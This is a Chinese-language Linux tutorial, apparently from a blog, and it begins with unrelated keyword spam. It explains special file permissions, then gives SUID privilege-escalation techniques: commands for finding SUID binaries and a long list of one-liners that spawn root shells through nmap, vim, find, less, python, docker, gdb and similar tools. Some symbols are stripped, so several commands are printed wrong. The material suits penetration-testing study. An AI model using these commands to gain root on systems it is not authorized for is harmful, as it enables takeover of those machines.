临沂网站设计公司,网站优化 前端怎么做,旅游交友的网站建设,wordpress添加统计目录 1. 文件权限介绍1.1 suid权限1.2 sgid权限1.3 sticky权限 2. SUID权限3. 设置SUID权限4. SUID提权原理5. SUID提权步骤6. 常用指令的提权方法6.1 nmap6.2 find6.3 vim6.4 bash6.5 less6.6 more6.7 其他命令的提权方法 1. 文件权限介绍
linux的文件有普通权限和特殊权限三种。
普通权限一般为rwx分别为读写执行对应的数字表示为421。
三种特殊权限为suid权限sgid权限sticky权限。其中suid权限作用于文件属主sgid权限作用于属组上sticky权限作用于other其他上。 1.1 suid权限
作用让普通用户临时拥有该文件的属主的执行权限suid权限只能应用在二进制可执行文件命令上而且suid权限只能设置在属主位置上。
suid权限使用s表示增加权限us移除权限u-s
suid权限也可以使用数字形式表示0表示去除suid权限4表示添加suid权限而且是在原权限的数字表达形式开头加0或4如0755移除suid权限4755添加suid权限。 1.2 sgid权限
作用sgid权限一般应用在目录上当一个目录拥有sgid权限时任何用户在该目录下创建的文件的属组都会继承该目录的属组。
sgid权限也使用s表示增加权限gs移除权限g-s
sgid权限也可以使用数字形式表示0表示去除sgid权限2表示添加sgid权限而且是在原权限的数字表达形式开头加0或2如0755移除sgid权限2755添加sgid权限。 1.3 sticky权限
作用sticky权限一般针对目录来设置作用是只允该目录下的文件的创建者删除自己的创建的文件不允许其他人删除文件。root用户除外因为root用户是超级管理员而且sticky权限只能设置在other位置上。
sticky权限使用t表示增加权限ot移除权限o-t
sticky权限也可以使用数字形式表示0表示去除权限1表示添加权限而且是在原权限的数字表达形式开头加0或1如下如0755移除sticky权限1755添加sticky权限。 2. SUID权限 SUIDSet UID权限
只针对二进制可执行命令文件对于非可执行文件没有任何意义。执行者对于该文件需要具有x的可执行权限。在执行过程中调用者会暂时获得该文件的所有者权限。本权限仅在执行该程序的过程中run-time有效。 查看文件是否具有suid权限ls -al filename 例如查看sudo文件的suid权限ls -al /usr/bin/sudo 3. 设置SUID权限 方法一sgid权限可以使用s表示。
chmod us filename #增加suid权限
chmod u-s filename #移除suid权限命令解释
chmod WhoWhatWhich filename其中Who(代表身份): u,g,o,a (user, group, other, all)What(代表动作): , -, (add, remove, set exact)Which(代表访问级别): r,w,x,s,t (read, write, execute,SUID/SGID,Sticky )运行结果 方法二sgid权限也可以使用数字形式表示。0表示移除suid权限4表示增加suid权限而且是在原权限的数字表达形式开头加0或4。
chmod 0755 filename #移除suid权限
chmod 4755 filename #增加suid权限命令解释
chmod OneTwoThreeFour filename
其中One(特殊权限位)当不设置时默认为0SUID 4SGID 2Sticky 1Two(所有者权限)读权限加4写权限加2执行权限加1Three(所有组权限)读权限加4写权限加2执行权限加1Four(其他用户权限)读权限加4写权限加2执行权限加1运行结果 4. SUID提权原理
SUID(Set User ID)是对二进制程序进行的一种特殊权限设置可以让二进制程序的执行者临时拥有文件属主的权限也正是因为这个特性假设我们以非 root 用户身份访问目标系统并且我们发现启用了 suid 位的二进制文件那么这些文件/程序/命令可以以 root 权限运行。 5. SUID提权步骤 查找具备suid权限的文件。查找对应文件的利用方法。不是所有文件都可以利用。 查找有suid权限文件的命令以下三条命令可以找到正在系统上运行的所有SUID可执行文件。准确的说这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们然后将所有错误重定向到/dev/null从而仅列出该用户具有访问权限的那些二进制文件。 find / -perm -us -type f 2/dev/null命令解释/ 表示从文件系统的顶部根开始查找每个目录-perm 表示搜索后面的权限-us 表示查找 root 用户拥有的文件-type 表示我们正在寻找的文件类型f 表示普通文件而不是目录或特殊文件2 表示到进程的第二个文件描述符即 stderr标准错误 表示重定向/dev/null 是一个特殊的文件系统对象它会丢弃写入其中的所有内容。运行结果 find / -user root -perm -4000 -print 2/dev/null命令解释-user root 表示文件的所有者是root-perm 表示搜索后面的权限-4000 表示查找有suid权限位的文件运行结果 find / -user root -perm -4000 -exec ls -ldb {} \; 2/dev/null参数解释-exec 表示查找到文件后要执行的命令ls -ldb {} \; 其中 -l 表示以长格式显示当前目录中的文件和目录-d 表示目录-b 表示块设备{} 表示find查找出来的文件\ 表示转义和{}之间需要有空格; 表示要执行的命令的结束符运行结果 6. 常用指令的提权方法 已知具有suid权限的常用的二进制文件大体有nmapvimfindbashmorelessnanocpawk等。 6.1 nmap
适用版本nmap2.02到5.21。
在早期的nmap版本中带有交互模式所以允许用户执行shell命令。
进入nmap交互模式nmap --interactive
在nmap的交互模式中通过如下命令提权
nmap !sh
sh-3.2# whoami
root在msf中也又利用nmap进行提权的模块exploit/unix/local/setuid_nmap 6.2 find
find用来在系统中查找文件。同时具有执行命令的能力。因此如果配置了suid权限则可以通过find执行的命令都可以用root身份去执行。
通过如下命令提权
touch anyfile #新建一个文件anyfile必须要有这个文件
find anyfile -exec whoami \; #通过文件anyfile执行命令whoami因此可以利用nc命令来反弹shell。 6.3 vim
vim的主要作用是做编辑器。如果配置了suid权限将会继承root权限因此可以读取系统上所有文件。
通过如下命令提权
vim.tiny /etc/passwdvim.tiny
#vim命令
:set shell /bin/sh
:shell6.4 bash
以下命令将以root身份打开一个bash shell
bash -p
bash-3.2# id
uid1002(service) gid1002(service) euid0(root) groups1002(service)6.5 less
less命令也可以进入shell
less /etc/passwd
#在less中输入:
!/bin/sh要注意的是使用less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。 6.6 more
more命令进入shell和less相同
more /etc/passwd
#在more中输入:
!/bin/sh要注意的是使用more和less一定读取一个比较大的文件,如果文件太小无法进入翻页功能也就无法使用!命令进入shell。 6.7 其他命令的提权方法
命令利用方法zshzshxargsxargs -a /dev/null sh -pwatchwatch -x sh -c ‘reset; exec sh -p 10 20’timeouttimeout 7d /bin/sh -ptimetime /bin/sh -ptclsh1、tclsh 2、exec /bin/sh -p stdin stdout 2stderrtasksettaskset 1 /bin/sh -pstdbufstdbuf -i0 /bin/sh -pstracestrace -o /dev/null /bin/sh -psshssh -o ProxyCommand’;sh -p 02 12’ xsetarchsetarch $(arch) /bin/sh -prsyncrsync -e ‘sh -p -c “sh -p 02 12”’ 127.0.0.1:/dev/nullrpmrpm --eval ‘%{lua:os.execute(“/bin/sh -p”)}’pythonpython -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’php1、CMD“/bin/sh” 2、 php -r “pcntl_exec(’/bin/sh’, [’-p’]);”nicenice /bin/sh -pnano1、nano //运行nano程序 2、Ctrl R //按下ctrlr 3、Ctrl X //按下ctrlx 4、reset; sh -p 10 20 //输入命令more1、more /etc/profile 2、!/bin/sh -plogsavelogsave /dev/null /bin/sh -i -plessless /etc/profile //读取文件在底行输入!/bin/sh -pkshksh -pip1、ip netns add foo 2、ip netns exec foo /bin/sh -p 3、ip netns delete fooioniceionice /bin/sh -pgitgit help statusgimpgimp -idf --batch-interpreterpython-fu-eval -b ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’gdbgdb -nx -ex ‘python import os; os.execl(“/bin/sh”, “sh”, “-p”)’ -ex quitftpftp //在底行输入“!/bin/sh -p”flockflock -u / /bin/sh -pfindfind . -exec /bin/sh -p ; -quitexpectexpect -c ‘spawn /bin/sh -p;interact’envenv /bin/sh -peded //在底行输入“!/bin/sh -p”dockerdocker run -v /:/mnt --rm -it alpine chroot /mnt shdmesgdmesg -H//在底行输入“!/bin/sh -p”cshcsh -bbashbash -pawkawk ‘BEGIN {system(“/bin/bash -p”)}’perlperl exec “/bin/bash”;cp使用cp命令覆盖原来的/etc/passwd文件。